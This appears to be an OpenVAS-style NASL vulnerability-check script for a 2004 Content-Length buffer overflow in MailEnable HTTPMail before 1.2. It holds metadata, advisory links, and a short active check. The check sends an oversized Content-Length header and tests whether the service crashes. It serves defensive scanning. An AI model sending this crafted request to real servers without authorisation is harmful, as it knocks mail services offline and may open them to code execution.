MailEnable HTTPMail < 1.2 Content-Length Overflow Vulnerability - Active Check
🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2004 George A. TheallType
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| Source | Link |
|---|---|
| archives | www.archives.neohapsis.com/archives/fulldisclosure/2004-07/1314.html |
| securityfocus | www.securityfocus.com/bid/10838 |
# SPDX-FileCopyrightText: 2004 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:mailenable:mailenable";
#
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.14655");
script_version("2023-05-11T09:09:33+0000");
script_tag(name:"last_modification", value:"2023-05-11 09:09:33 +0000 (Thu, 11 May 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_xref(name:"OSVDB", value:"8301");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
script_name("MailEnable HTTPMail < 1.2 Content-Length Overflow Vulnerability - Active Check");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2004 George A. Theall");
script_family("Denial of Service");
script_dependencies("gb_mailenable_consolidation.nasl");
script_mandatory_keys("mailenable/http/detected");
script_require_ports("Services/www", 443);
script_tag(name:"summary", value:"MailEnable is prone to a Content-Length overflow vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks if the service is
still responding.");
script_tag(name:"insight", value:"The flaw can be exploited by issuing an HTTP GET with a
Content-Length header exceeding 100 bytes, which causes a fixed-length buffer to overflow,
crashing the HTTPMail service and possibly allowing for arbitrary code execution.");
script_tag(name:"solution", value:"Update to version 1.2 or later or apply the HTTPMail hotfix
from 9th August 2004.");
script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/fulldisclosure/2004-07/1314.html");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/10838");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
exit(0);
if (http_is_dead(port: port))
exit(0);
host = http_host_name(port: port);
req = string("GET / HTTP/1.0\r\n",
"Host: ", host, "\r\n",
"Content-Length: ", crap(length: 100, data: "9"), "XXXX\r\n",
"\r\n");
res = http_send_recv(port: port, data: req);
if (!res && http_is_dead(port: port)) {
security_message(port: port);
exit(0);
}
exit(99);
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